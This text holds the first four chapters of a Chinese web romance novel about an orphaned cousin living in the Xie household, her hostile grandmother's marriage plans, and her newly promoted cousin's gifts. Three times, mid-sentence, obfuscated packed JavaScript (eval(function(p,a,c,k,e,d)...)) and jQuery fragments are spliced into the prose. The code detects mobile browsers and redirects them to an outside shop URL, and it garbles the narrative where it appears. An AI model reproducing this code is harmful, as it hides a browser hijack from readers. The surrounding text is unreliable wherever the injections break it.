《表妹难哄》 1. 请安 “阿晚……” 药味弥漫的厢房中,响起一声虚弱的呼唤。 乔絮晚立即放下正洗着的帕子,跑到床边紧张道:“阿娘,怎么了?” 慕芷汀看着女儿稚嫩的小脸,气若游丝道:“娘……要不行了……” 这猝不及防的一句,令乔絮晚眼里瞬间蓄起泪。 她声音颤抖:“不会的阿娘,我去叫刘郎中,让他过来……” 慕芷汀躺在床上,昔日绝艳无双的容颜如今颧骨凸显,双目无神,俨然是油尽灯枯的状态。她偏着头,注视着满面泪痕的女儿。 “没用的……” 乔絮晚一双乌亮的圆眼红肿如核桃,她握紧母亲的手,摇着头哀哀喊道:“阿娘,不要走,不要丢下阿晚!” 慕芷汀看她这模样,亦是泪眼朦胧。 她想摸摸乔絮晚的头,稍作安抚,却在抬手的那刻剧烈咳嗽起来—— “咳咳!咳——” “阿娘!” 口齿间溢出的鲜血刺痛眼眶,乔絮晚登时慌了神,颤抖着去拿帕子。 然而手却被慕芷汀牢牢抓住。 “阿晚,你听我说……” 慕芷汀深喘着气,鼻腔里尽是浓重的血腥味,“待我走后,你父亲大概不会为我守丧,直接出海行商。届时家中无主,他决计会把你送走,可能送去你小姨家,又或者别人家,但是,阿晚,不管去了哪里,你都要记住一点——” 她死死抓着乔絮晚的手,盯住她惶恐不安的湿润双眼,“你要,为自己考虑。不论遇到什么事,什么人,都要最先顾好自己。” 说着,乔絮晚手中忽然多出了个柔软物什,她低下头,却见是一个赤红的织金锦囊。 那锦囊略微硌手,似乎装着什么东西。 慕芷汀将锦囊塞进她手心,目光决绝道:“阿晚,你千万拿好这个。或许……以后会对你有用,阿娘藏了这个东西这么多年,最后却只沦落到如此境地……咳……你不能这样!” “你要过上好日子,过得比谁都好,不然阿娘就是在黄泉下,也安息不得!” ——“!!!” 乔絮晚猝然睁开双眼! 母亲嘶哑的声线犹在耳畔回响,她惊魂未定地大口喘气,涔涔冷汗几欲浸透雪白寝衣。 一只手伸进枕下胡乱摸索,直至摸到一个面料已颇为粗糙的锦囊时,她才长舒一口气,镇静下来。 “小姐?怎么了小姐!” 天刚破晓,拂月就听见乔絮晚恐慌的呓语,立刻跑进房内询问,不成想却见到乔絮晚这副仿佛失了魂的模样。 蒙蒙日光穿透窗纸,在屋内洒出一片明亮,乔絮晚看着上方丝薄的床帏,渐渐缓过神智。 她搭着拂月的手,坐直身子,嗓音带有一丝晨起后的沙哑:“无事……不过做了个噩梦。” 拂月拿出手帕替她擦去额角细汗,忧心道:“该是昨夜的春雷惊到小姐了,要不要奴婢去煮一碗安神汤?” “春雷?”乔絮晚迷茫地望了眼仍在滴落雨珠的窗户,“昨晚下雨了?” 拂月道:“是啊,今年的第一场春雨呢,下了整整一夜。” 又到春天了。 乔絮晚隐隐恍惚。 这似乎已经是她到谢府后迎来的第十个春天。 十年前,母亲病故,她也确如母亲所言,被父亲派人送到小姨慕芷兰的夫家,京城的谢国公府。 现在随侍在身侧的拂月也是那时跟她一起从家中过来的。 小姨与母亲关系甚好,是以待她也如同亲生女儿一般,吃穿用度无不上乘,乔絮晚也在她的照料下过了几年舒心安稳的生活。 奈何,小姨五年前就已经没了。 被姨丈纳进门的方姨娘生生气出心病,最后郁郁而死。 拂月觑着她苍白的脸色,问道:“小姐?” 乔絮晚回神,摇头道:“不必担心,现在几时了?” “已是卯时三刻。” “……替我洗漱吧,昨日孔妈妈让我今晨去向老祖宗请安。” “是。” 谢府的老祖宗,即她姨丈谢凌的母亲,前朝长公主,安阳郡主李音。 一个年事已高,却又十分精明的女人。 一番妆点,拂月为她挽了个垂鬓分肖髻,发上简单簪了根银簪,衬得少女芙蓉面更加清纯秀丽。 选择耳坠时,乔絮晚拦住她的手,“见老祖宗就不要装扮得太过花哨了,免得她不喜。” “可……”拂月有些犹豫,“小姐就这样,会不会太过朴素了点?” “无妨。”乔絮晚不甚在意地站起身,披上一件鹅黄外衫,向门外走去,“反正没有外人在,朴素就朴素吧,总比听她念叨要好。” 拂月只得放弃,跟着她一道出门。 * “昨夜雨势不小,你房里的丫头有没有给你多添一床被子?” 贵妃榻上,身着华服的老妇人手里端着青瓷茶盏,悠悠问道。 乔絮晚坐在旁侧圈椅上,颔首回答:“有的,多谢祖母关心。” “有就行,你身子骨弱,平日里也多注意着点,尤其是最近开春,府里少不得要办几场宴会,万一你有个什么头疼脑热的把病气传染给客人,那就不好了。” 李音说完,姿态优雅地抿了口茶水,仿佛只是在说寻常关照话。 乔絮晚沉默一瞬,维持着娴静的笑:“是,祖母的叮嘱,阿晚牢记于心。” 老妖婆。 她默默腹诽。 李音对她并不算好,甚至可以说有些许冷淡。 这倒也不是近两年的事了,早在进入谢府之初,乔絮晚便能隐隐觉出三分。她不明原因,也懒得问,想来差不离是因为李音出身高贵,于是嫌弃她一个外戚女儿赖在谢府不走,认定她是打算攀附权势。 乔絮晚神色淡定地继续回话。 然而她并不知道,李音也同时在打量着她。 眼角余光里映出一张清丽的鹅蛋脸,蛾眉柔婉,琼鼻莹润,樱唇薄粉,许是因不常出门,一双杏眸瞳仁颜色略浅,如纯质琥珀般嵌在眼眶里,顾盼流转间,似是含着绵绵无尽的情意。 是一张极美极艳的脸,勾魂摄魄,怕是这世间大多数男人见了,都忍不住心旌摇曳。 方及笄一年便已长成这么一副祸水模样,也亏得她当下深居宅内甚少外出,若是心性再活络点,三天两头往外面跑,真不知能闹出什么事来。 李音瞧着她眉目间挥之不去的熟悉感,心里更加烦躁,说话时也不免带上几丝不悦:“你也到年纪了,是时候该考虑下亲事,我先前听说,你父亲在江陵那边给你定过亲?” 乔絮晚一怔,想了想,回道:“是,不过是很久之前了。当时父亲在江陵行商,碰巧遇上柏知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561483|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 县为自家次子办周岁宴,就带着我一同过去庆贺。两人好像很投缘,一拍手,干脆给我和柏二公子定了娃娃亲,但……过去这么长时间,父亲不见踪影,柏家那边也没什么消息,大抵是都当了玩笑话吧。” 她微微一笑。 实则是她父亲为了打通生意和人脉关卡故意带她去蹭人家的周岁宴,靠着丰厚家底及巧言令色,终于让柏知县点头同意了这门亲事,然后靠着这层关系在江陵一路长虹。 这些话她没说,但李音自能猜出来,于是愈发看低了她。 茶杯落回桌面,与木桌磕出清脆声响,李音半边身子靠着引枕,手里摩挲着菩提子念珠,连眉梢都染着高高在上的傲慢: “原来是柏家,你父亲倒也有点识人的眼色。你口中的柏知县如今已升为知府,掌管整个江陵政事,风头正盛,虽然以你现今的境况,他们家二公子不一定肯娶你为正妻,但即便只做个偏房,日子应当也能过得不错。” “……” 乔絮晚慢慢敛了笑,冷眼看着她。 李音恍若未觉:“只是不知对方还记不记得有你这码亲事在,回头我差人捎个信,若是柏家愿意,你便也准备准备,柏二公子还有两年及冠,你就在这之前回江陵侯着吧。” 乔絮晚静默片刻,扬起一个假得不能再假的笑:“祖母貌似很希望我赶紧嫁人,离开这里。” 话音甫落,她便看到李音的脸色瞬间差到极点。 她毫不避讳,直直地与李音对视。 她清楚,自己不该这样同李音讲话,或者说,不该用这样的语气和态度开口。 但她更清楚李音的心肠有多冷硬,即使是亲儿子谢凌在她面前也难讨得几分好。 李音今日既能说出这一番话,表明心里已是下了决定,她就算哭得再悲戚也无法改变什么。 既然如此,她也没必要露怯。 李音冰冷地盯了她一会,见她丝毫没有低头的意思,便冷笑一声,道:“你六岁就来到这谢府,芷兰又去得早,没什么人好好教导你礼仪,你会养出这般乖戾性子也不足为怪。不过你既唤我一声祖母,我今日就尽个责,教你几句道理。” “按理说,女子及笄之年便要谈婚论嫁,可你如今寄住在这里,我们这些外戚不好随意干涉你的婚事,但更不好耽误了你,不然等年纪大了,再论婚事可就难了,这是其一。” 她着重强调了“外戚”二字,仿佛要以此将乔絮晚与谢府分出一条楚河汉界的间距。 乔絮晚面上满是漠然。 “其二,你与我顶嘴,说不想嫁人,我可以当你年纪尚轻,坐不住家,也能理解你在谢府娇贵惯了,受不得做妾室的委屈。可你别因此就忘了自己的身份,终究是一介商贾之女,能嫁进知府家已算早年得了便宜,否则进个知县的门都是高攀。” “至于其三——”李音神情中蓦地多出一抹厉色,“骅涧也快要及冠了,你再在这里待下去,于他不妥。” 乔絮晚几乎是用尽毕生力气才压住喉间嗤笑。 心情霎时放松下来,她望着李音,泰然道:“原来祖母是怕我损害了表兄的名声。” 李音凉薄道:“自芷兰去世之后,骅涧就一直对你格外照顾,你若是有点心,就该知道避嫌。” “我……” “老祖宗!大公子回来了!” 门外忽然传来侍女的呼喊。 2. 回府 听到这声叫喊,李音立刻将接下来对乔絮晚的一整套训诫抛之脑后,被孔嬷嬷搀扶着走向大门—— “骅涧快一个月没着家,怎么突然回来了?是案子什么的都查妥当了?”她颇为激动地问侍女。 侍女亦是神情欣悦:“少爷是坐宫里的马车回来的,想必是刚接了圣旨,回府上报喜呢!” 闻言,李音面对乔絮晚时还冻着一层霜的面容登时犹如春风拂过,一派和煦蔼然。 她由着侍女扶住她另一只手,迈步奔赴正门,然而没走几步路却又想起屋里还有个累赘,于是转过身,冷淡道:“你也出来迎迎你表兄吧。” 语气好似恩赐。 乔絮晚不紧不慢地理理衣裙,悠然答了声“是”,随后信步踱出。 ——正门外,停下一辆奢华马车。 谢府众人齐齐聚在外面迎接,乔絮晚对自己的身份很有自知之明,是以乖乖站在角落里,并不去抢前头的位置。 距离太远,又有风吹过,紫裳公公尖细的嗓音传入耳中时,已模糊得快要听不清。 乔絮晚仔细辨认,依稀能听出“朱雀门叫魂案”“皇城司”“指挥使”“赏千金”等等词汇。 那劳什子叫魂案她不知晓,但谢骅涧竟还真是升官了。 她不由得在心里钦佩几句。 尽管她与这位表兄称不上什么亲密无间兄友妹恭,不过也确实得承认,谢骅涧年仅十八就能升任皇城司指挥使,是蛮厉害的。 起码她没听说过比这更年轻的指挥使。 好容易等到公公宣读完圣旨,日头也从云雾后溜了出来,将昨夜地上积的雨水烤得半干。 一行人谢过恩,给那白面太监打点了不少银钱,恭送马车离去,而后团团簇拥在为首的少年身边贺喜。 远眺那张风流俊美的容颜,耳畔尽是叽叽喳喳的人声,乔絮晚觉得或许她也该混进去,说两句好听的。 可这人群眼看是密集得无从下手,她试着努力几回,实在钻不进去,索性放弃了。 抬袖遮住头顶阳光,乔絮晚默默立在原地,用绣花鞋尖去碾地上的石子解闷。 ——就在低头的那一刹,被环绕在人堆中心的谢骅涧微不可察地朝她瞥去一眼,而后又迅速收回。 面前,李音握着他双手,慈爱地笑道:“我孙儿越来越出息了,才进皇城司几年,就升任指挥使了,这日后怕是少不得要在陛下跟前多露点面,你可千万要抓住机会,知道吗?” “知道了,祖母。” 谢骅涧也在笑着,只是五官凌厉分明的玉面固然好看得紧,眼尾眉梢却有股子散不去的薄情冷意,仿佛能径直审视到灵魂深处,衬上那温和勾起的嘴角,以及极高挑的身量,不觉显出几分令人心惊的压迫感。 年过半百的李音阅人无数,自然能将这些看个清楚,心里欣慰的同时又难免有些忧愁。 皇城司虽说特立独行,权势滔天,可终究不是个养人的干净地方。 骅涧这乘云般的升迁速度,就算依靠他爹谢凌吏部尚书的身份和谢家的背景也决计不够,估计他没少学里面那些个让人胆寒的手段…… 她这厢正恍神,谢骅涧却道:“祖母,外面天晒,且进屋聊吧。正好我也得了一天休沐,有什么话可以慢慢说。” 李音拉回思绪,立马道:“对对!你最近忙着查案子,近一个月没回来,是该好生休息休息!走,我们回后房再继续聊,晌午让厨房备上一桌好菜,犒劳犒劳我这孙儿!” 周遭又是一片喜气洋洋的笑。 无人关注的地方,乔絮晚也随着大流漾开一抹笑。 然这笑仅仅浮于表面,并未真切地深入眸底。 * 浩浩荡荡地进了后房,各人找好位置落座,先起了一派闲聊。 李音坐在上首主位,试探着问: “骅涧,你准备在皇城司待多久啊?” 谢骅涧端着笑,随意道:“待到腻歪吧,应当也用不上几年。” 李音不太满意这个回答,责怪地说:“官职大事,怎可如此儿戏?皇城司尽管不错,方方面面的人和事都能接触到一点,也有些实权在手中,但于外的名声到底难听,非长远之路。” “那祖母认为,孙儿该怎么做?” 谢骅涧捧起茶盏喝了一口,仿佛并不是很在意李音的回答,只是顺口一问。 李音细思片刻,道:“不妨这样,你先坐稳指挥使这个位置,积累些人脉,待日后有机会,让你爹想办法给你调个任,调到大理寺或者御史台,也更方便你在朝堂上作为不是?” 谢凌作为吏部尚书,这点能耐还是有的,况且大理寺与皇城司人员来往密切,御史台又有素来与谢家交好的裴家人在,两个都是上佳之选。 李音正为这个提议自得之际,谢骅涧却是沉默着,没马上回答。 ——“母亲!” 门外忽然传来谢凌的嗓音。 李音顺势看去,抚掌笑了开来:“哟,说曹操曹操到,我们刚在这儿念到你,你就露头了。” 只见门口处,下了朝换上常服的谢凌跨进门槛,身后还跟着个手牵一男孩、怀抱一女婴的美艳女子。 边角座位上的乔絮晚一见这女子,顿时额角突突。 她觑了眼谢骅涧,发现他脸色同样不怎么好,眼神瞟向不知何处,一根修长玉白的食指敲击在桌面,明显表现出几丝厌烦。 其余人则眼观鼻鼻观心,说话音量立马消减不少。 在谢凌喊出那一声后,那女子紧随其后,对李音福了福身,柔柔道:“鹭笙见过婆婆。” ——谢凌之妾,方鹭笙。 李音面对她时笑容淡了些许,不过态度也算温和:“嗯,起来吧。” “是。” 方鹭笙牵着孩子站在谢凌旁边,垂首不语。 谢凌带她挑了个离李音较近的位置坐下,道:“下人将今日之事都报给我听了,没想到鲁勾当办事这般雷厉风行,前段时日刚说要推举骅涧当指挥使,今日圣旨就到了家门口。不过朱雀门一案悬而未决已久,大理寺连查数次都没能查出个结果来,骅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561484|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涧能想出法子侦破,得到提拔也是应该的。” 他不常夸赞自己这个大儿子,且升迁一事也早已知晓,但李音难得开怀,他便顺着她心意,讲了两句好话。 果不其然,李音听后更是欢喜,笑得眼角细纹都微微加深,“骅涧一贯聪明机敏,这些年性子又沉稳不少,必然能得人青眼,只是……皇城司这地方,终是拘束人了些,若当初进了大理寺,靠着这功劳,不说做卿,好歹也能升个少卿。” 她侧目望着谢凌。 谢凌立刻明了她的意思,又快速扫一眼面色平淡的谢骅涧,迟疑一息,笑着道: “大理寺一贯循规蹈矩,面上虽好看,实际进去了,还是要靠熬日子。换成这次办案,骅涧都不一定能去成。我想着,等他这两年先在皇城司巩固巩固,再立几次功,这样以后调任也方便。母亲觉得呢?” 他话说得巧。 谢骅涧当初探花及第,官职未定之时便自行请愿去了皇城司,无非是想着皇城司直接由圣上统领,他谢凌就是想拿吏部尚书的地位打压,也不是那么容易。 而李音想让谢骅涧去其他明面上的官部,一是觉着皇城司名声不好,二是不想让他脱离谢家的掌控,未来仕途都牢牢把控在她自个儿手心才是最安稳的。 谢凌夹在中间,私心自是偏向李音一方,何况他也清楚谢骅涧还因母亲的事记恨他,来日倘若翅膀硬起来,保不齐要给他使什么绊子。 是以先顶着慈父作态表面维护一番,而后再用调任的事暗里树威,让谢骅涧明白,他现在仍然得被他跟李音压一头的。 谢骅涧听得出他弦外之音,懒懒地掀了掀眼皮,瞧见谢凌虚情假意的嘴脸时,又沉下眸子,极轻地嗤笑一声。 李音眼神在两人间逡巡一圈,对谢凌道:“你说得也有理,那就这么办,你平日也多走动走动,替骅涧打点关系,这样以后不管去哪都好办事。” “诶,都听母亲的。”谢凌略一点头,显尽了孝顺。 作为话题中心的谢骅涧一言不发地看着这母慈子孝的场面,目光十分不经意地掠过角落里的乔絮晚。 她一袭鹅黄薄衫,没戴什么首饰,显得有些素淡,腰背却坐得板直,如花苞初绽的身姿已有了婀娜的风韵,纤纤素手端着白瓷茶杯,肌肤与瓷色几欲融为一体。 不知是在发呆还是在思考,些微苍白的小脸稍稍低垂着,睫羽半耷,挡住水眸动人的光彩。 看起来没什么精神。 是昨夜打雷下雨的,没睡好? 他瞧了一会,移开眼。 他这妹妹生来体弱,一贯容易让人操心。 不过当着老太太的面他还是少开口为妙。 又聊一阵家事,外头响起丫鬟的声音: “老祖宗,午膳已备好。” 李音顿住话头,正想回应,却又像想起什么,转而对谢骅涧道:“你此番立功升迁,是大喜事,祖母决定摆个烧尾宴,多请些人来为你庆贺庆贺,如何?” 谢骅涧闻言,淡淡地笑:“全凭祖母安排。” 3. 亲事 前头聊得再欢,到了饭桌上,也是安安静静地各自用饭。 乔絮晚昨夜惊梦,本就精神不济,原是想着给老太太请安过后就回去吃些早点继续歇息,不料赶上谢骅涧这一遭,只得一直相陪到现在。 趁着吃菜的工夫,她偷偷打了几个呵欠,面上的疲惫掩都掩不住。 因此用完午膳后她便早早告辞,回房困觉。 李音见她这般更是不喜,连话都不愿多说一句,挥挥手由她去了。 “没个教养。” 鹅黄背影消失在门外,李音不悦地咕哝。 谢骅涧略微侧眸,道:“有人招惹阿晚了?” 闻言,李音眼神闪烁一瞬,笑道:“府上的人都有自个儿的活计要忙,那孩子又不常出门与人来往,谁有闲心去招惹她啊?” 自慕芷兰去世后,乔絮晚在谢府里跟个透明人也没什么两样,除了每月的份例照常被下人克扣摸去些,其余时间几乎都被当作不存在。 只有谢骅涧格外在意她。可他们二人幼时总吵闹,想来也不过是因慕芷兰走前特意叮嘱他多照顾着点乔絮晚,这才相较旁人更为上心。 李音犹记谢骅涧初上任那阵,每月都会将俸禄分一半给乔絮晚,后被她发现,好一顿喝斥劝导,又将乔絮晚空落的屋子翻了个底朝天,送的东西悉数收了回来,才勉强作罢。 彼时的谢骅涧仅十四不到十五岁,见她如此作为,并没多说什么,只是默默转身折回了自己的院落。 李音那时候尚能从容地掌握一切,然而面对如今的谢骅涧,她却是得谨慎掂量掂量。 只见谢骅涧无波无澜道:“我看阿晚像是有些累。” 李音转了转眼珠,道:“可能是昨晚没睡好罢,这孩子也是,越大越娇气。就她这个样子,以后嫁人了可有的是罪受。” “……嫁人?”谢骅涧顿了顿,看向她。 李音手肘撑着椅子扶手,状似欣慰:“是啊,阿晚都及笄一年了,今早还与我说,她在江陵的亲事临近,要捎信过去问问进展,听着像是有回去的意思。” 言毕,她觑着谢骅涧神色。 有些感情稍不注意,可是相当容易歪了苗。 那乔絮晚仅比她这孙儿小了两岁,一介孤女,又长得那么一副狐媚样,万一谢骅涧对她生出什么不该有的心思…… 李音半点不想见到这种情况发生。 光是想想都会气到中风。 然谢骅涧只平静道:“哦,这样啊。” 李音仍旧看着他。 “阿晚确实到了该嫁人的年纪了,提早准备准备也是好事。不过她眼下父母都不在身侧,我们又是一干外戚,届时婚礼如何办暂且不提,首要的嫁妆从哪里出?我记得乔姨丈并未给她留多少钱财。” 谢骅涧慢条斯理。 李音一时哑然。 她光惦记着要将乔絮晚送走,竟连这些都忘记了。 若是让谢府替她出这个嫁妆钱,倒也不是出不起,可这样的话陪嫁多少就相当于谢府的实力和脸面,就算乔絮晚嫁与柏家做妾,也得是风风光光大张旗鼓的,不然免不了会让人觉得谢府小气寒酸,没的教人看轻了去。 一想到要在那小蹄子上葬送那般多钱,李音不禁一阵胸腔憋闷,险些喘不上气。 谢骅涧继续道:“柏家我也听说过,拢共两个儿子一个女儿,看岁数,与阿晚定亲的应当是二公子吧?二公子今年刚满十八,还未及冠,阿晚就是提前去了也得等个两年。姨丈临走前还把府邸给卖了,阿晚回江陵后,住哪?还能提前住进未婚夫婿家不成?” “……” 李音半晌无话。 她更细致地观察谢骅涧表情,却也只能看到一派淡定。 仅是在跟她分析现状罢了。 桌边的谢凌见此,发了话:“阿晚那丫头啊,估计是还小,对亲事啊夫家啊什么的都比较好奇,所以心急了些。母亲,您回头把这些都与她说道说道,让她暂且等等,我们这边毕竟不好出手干涉,说不准哪天乔知蕴就回来了,到时再让她考虑成亲的事也来得及。” 他摆出和事佬的笑容。 浸淫官场多年,他何尝看不出李音这是故意在拿乔絮晚嫁人的事试探谢骅涧,可这条条道理都被剖开搁到眼前了,总不能让李音下不来台。 干脆就将源头都推到乔絮晚身上了事。 反正这里也没人会为她争辩。 李音心里门儿清,便顺着谢凌给的台阶下:“是这么个理,横竖我们谢府也不缺她一双筷子,她又何必急着成亲呢?我本也想这样劝她,奈何还没开口,骅涧就到了家了,我整颗心挂在我这好孙儿身上,倒把她忘了。我寻思着,这段时间先布置你的烧尾宴,等忙完后再跟她说一说。” 谢骅涧这厢还未接话,谢凌反而“欸”了一声,抢先道:“要我说,不然我们在宴上为阿晚另寻一门亲事?” 李音一愣。 谢骅涧亦不免侧目。 谢凌道:“乔知蕴出海十年也没个消息,保不齐是遇到什么意外,又或者生意没做成,也不打算回来领孩子了。他既没个归期准信,咱们总不好让阿晚耽误到双十以后还不成亲,江陵柏家那儿若是一直不发话,那咱们也就当不知道,在京城里再为阿晚谈个夫家,最好还是朝堂里的。多攀一门亲,以后也多个助力。” 桌边众人面面相觑,坐在他旁边的方鹭笙立刻捧了笑,配合道:“主君当真顾虑周全,京城的官家人总比外面风光,何况阿晚在这边嫁人,还有谢府在背后充作娘家给她撑 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下人推开门,谢骅涧径直走出后房。 * 回卧澜轩的路上,小厮青暮跟在谢骅涧身后,道:“宫里送来的赏赐大头都放进了库房,还有一些小物件,因想着大公子先前的嘱托,就叫人私下装好,搬去屋子里头了。” 小物件意指什么,谢骅涧自然清楚。 他悠悠走着,道:“大概多少?” “怕太显眼,没敢搬多了,就……一盒。” 青暮竖起一根手指,干笑道。 谢骅涧皱了皱眉,叹一声,道:“一盒就一盒吧,多了也确实不方便。” 他一路进了自己卧房,拐到书桌处,果然上面静静摆着个方正的紫檀木盒。 骨节分明的手掀开盖子,刹那流光溢彩。 ——盒里堆满了各色珠翠首饰。 从耳坠珠花,到镯子项链,林林总总不一而足。 谢骅涧拿起其中一只羊脂玉白镯,举在阳光下看了看。 远比后房的白瓷茶盏更加清透莹白。 他放回去,盖上盖子,道:“你去栖鸾院告诉拂月,等她家小姐醒了,过来知会一声。” “是。” “慢着。” 青暮将将转过身想走,却又被谢骅涧叫住。 他疑惑道:“大公子还有何事要吩咐?” 谢骅涧一手在木盒上轻轻敲着,半日,才道:“算了,我自己过去吧。” 青暮讶异道:“可公子您也好久没歇息了,表小姐这会应该还在午睡,您……” “我在耳房等她起来便是。”说着,谢骅涧手拿盒子从侧门踏出去。 4. 礼物 这场午觉睡得不算踏实。 因着早间没吃饭,晌午便多吃了点,吃完没多久又午睡,待到乔絮晚醒来,只觉腹中积食,略有些难受。 她将锦被掀到一旁,哼哼着揉起肚子,连眼都没睁开便怏怏喊道:“拂月……” 在屋外叠衣裳的拂月听到这一声,忙不迭赶进来,应道:“小姐,怎么了?有哪里不舒服吗?” 乔絮晚脸蛋埋进柔软的枕头里蹭了蹭,蹙眉道:“唔……有没有什么……消食的东西……” 拂月顿时了然。 她捞过被子重新给乔絮晚盖好,安抚道:“奴婢这就去后厨端一碗乌梅汁来!” “——哦,对了,”她刚直起身,没走两步却又折返回来,对乔絮晚道:“大公子在耳房坐着呢,说是要等小姐起床,与您说说话。” 乔絮晚蓦地睁开眼。 她仰面问道:“他何时来的?” 拂月道:“才来没一会呢,奴婢方才还见他在看书。” “……知晓了,你让他过来吧。” 乔絮晚慢腾腾撑起身子,坐在床沿,披上一件外衣。 拂月离开没多久,另一道挺拔的人影便被日光照着斜映在门口。 一只包裹着笔直小腿的皂靴堪堪跨过门槛,娇俏女音就随之在屋内响起: “哟,看看这是谁啊?居然是谢大指挥使——” 谢骅涧:“……” 另一条腿在门槛后卡了几秒,方抬起,越过,落下。 他面不改色地走到桌边坐下,将手里颇有分量的木盒放到桌面,怡然道:“既然知道是指挥使来了,就坐在床边迎接?” 乔絮晚歪着头:“谢指挥好大的官威啊,刚上任,这火就烧到别人屋头里了,看来是个官运亨通的好苗子呢。” 听了她这“挖苦”,谢骅涧深以为然地点点头,道:“妹妹说得是,刚上任总得收敛着点,那这小礼物就暂时先跟我回……” “欸!” 眼见他要把木盒收走,乔絮晚立马站起来,摇摇地走过去,笑道:“新官上任三把火,这火又没说烧不得,怎么就要走了呢?” 她嘴上甜丝丝地说着,双手却是毫不犹豫地按在了盒子上。 谢骅涧轻笑一声,任由她将盒子从手底下拉走。 一对清灵的眼儿不住瞟着,乔絮晚拖开一张圆凳坐下,好奇地打开盖。 珠华璀璨,满目生辉。 她呆怔片刻,用手在里面冰冰凉的首饰间拨弄,道:“这些也是你得的赏赐?” 谢骅涧道:“嗯,其他都进了库房,这一盒是单独捡出来给你的。” 细指微顿,乔絮晚默了少顷,将盖子一扣,“谢指挥的好意我收下了,但这个,您就拿走吧。” 她挑起嘴角,把盒子推到他那边。 谢骅涧瞧着她,“不喜欢?” “喜欢有何用?这一看就不是我能买起的东西,要是让老太太或者方姨娘她们看见了,指不定又要找什么麻烦。何况……”乔絮晚略微抬眸,“老太太今早还提点我,让我离你远些,莫要损害了你的名声。” 她闲闲地笑。 谢骅涧半晌没作声。 良久,他道:“她是不是还说了你的亲事?” 乔絮晚一扬眉,诚实道:“是啊,难道中午我走后她又提起来了?” “她说你急着回江陵成亲,怎么劝都劝不动,急三火四地要见夫家。”谢骅涧好笑地看着她。 “……” 一瞬间,乔絮晚的脸色仿佛打翻了彩盘子,青红白绿一溜烟都过了一遍。 憋了又憋,她“砰”的一声拍在桌子上,忍无可忍道:“分明是那老妖婆自己要拿亲事撵我走!老东西,当面拿乔装得跟个什么似的,实际竟在背后颠倒是非黑白!为老不尊!不知羞耻!” 她气喘吁吁地骂了一大通,连腹中饱胀感都消下不少。 谢骅涧在旁边听着,见她这面红耳赤的模样,还好心给她倒了杯凉茶推过去。 乔絮晚不客气地牛饮整杯,饮毕,顺了顺气,问他:“她怎地又跟你说起这事?” 放置茶壶的手凝滞一刹,谢骅涧表情不变,道:“是我爹,他想在我的烧尾宴上给你另寻一门好亲事,祖母听了,就顺道说起这码事。” “给我另寻一门亲事?……哦,明白了,想靠我结亲,给你仕途借个风,还可以趁机把我送走,免得我父亲一直不回来,留我在这吃白食。” 乔絮晚愣神半秒,想通了原因。 她的语气坦然又自在,谢骅涧听了,直视她,问道:“所以你怎么想?” “……我不知道。” 乔絮晚静下来。 以她的身份,在这京城里不管嫁去哪个大户人家,都跟在谢府的待遇差不了多少。 除非是嫁与寒门。 可她从谢府出嫁到寒门,本就是在打谢府的脸,让他们多了一家拿不出手的穷亲戚,何况就目前情势来看,谢府也不会舍得将她婚事搭在寒门上。 若是她在江陵还有个可以遮风避雨的家,那回去也未尝不可,纵使父亲没给她留多少钱财,日子清苦了些,她也总能想出办法渡过难关。 但她什么都没有。 就算在谢府待得再不痛快,也只能忍着。 她没别处可去了。 乔絮晚出神地想了许久,轻轻问道:“阿兄,这次参加烧尾宴的宾客名单,是由谁定的?” “我爹,他拟好后,祖母估计也要参一脚。” “阿兄……你若是有空,也替我看看那名单吧。”乔絮晚看着他,漂亮的眼里没多少光,“然后,你告诉我哪些人家值得托付,我也好……做个准备,要是没等到父亲接我回江陵,我便嫁了吧。” 谢骅涧与她对视着,半日没说话。 隔着一张圆桌的距离,他沉沉道:“阿晚,你谁都不用嫁。” “……” “再给阿兄一些时间,阿兄带你从这里出去。” 这不是谢骅涧第一次对她说这句话。 乔絮晚凝望他乌黑如墨的眸。 * 她跟谢骅涧的关系,说来也是波折。 刚来京城的时候,她不过六岁。 还是个在金山银山里打滚长大的富家小姐。 即便母亲去世,父亲离家,自小养成的骄矜性子一时半会也磨不掉。 而那时的谢骅涧也只比她大两岁,正是猫嫌狗不待见的年纪,又受全家盛宠,性情顽劣桀骜。 是以两人的第一次见面并不愉快。 那天,大人在前堂应酬,乔絮晚独自到后院发呆。 正慢慢走着,院角高大苍劲的芙蓉树上忽传来一声呼唤: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561486|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你就是我妹妹?” 这嗓音十分清亮,她下意识望去,却见一个蓝衣少年坐在树枝上,笑盈盈看她。 是个很俊秀的小公子,面若好女,轮廓精致,明显是个风流多情的胚子。 然而这小公子下一秒便从高高的枝桠跳下来,跑到跟前揪了一下她的辫子,十分欠揍道:“来,妹妹,叫声阿兄听听。” 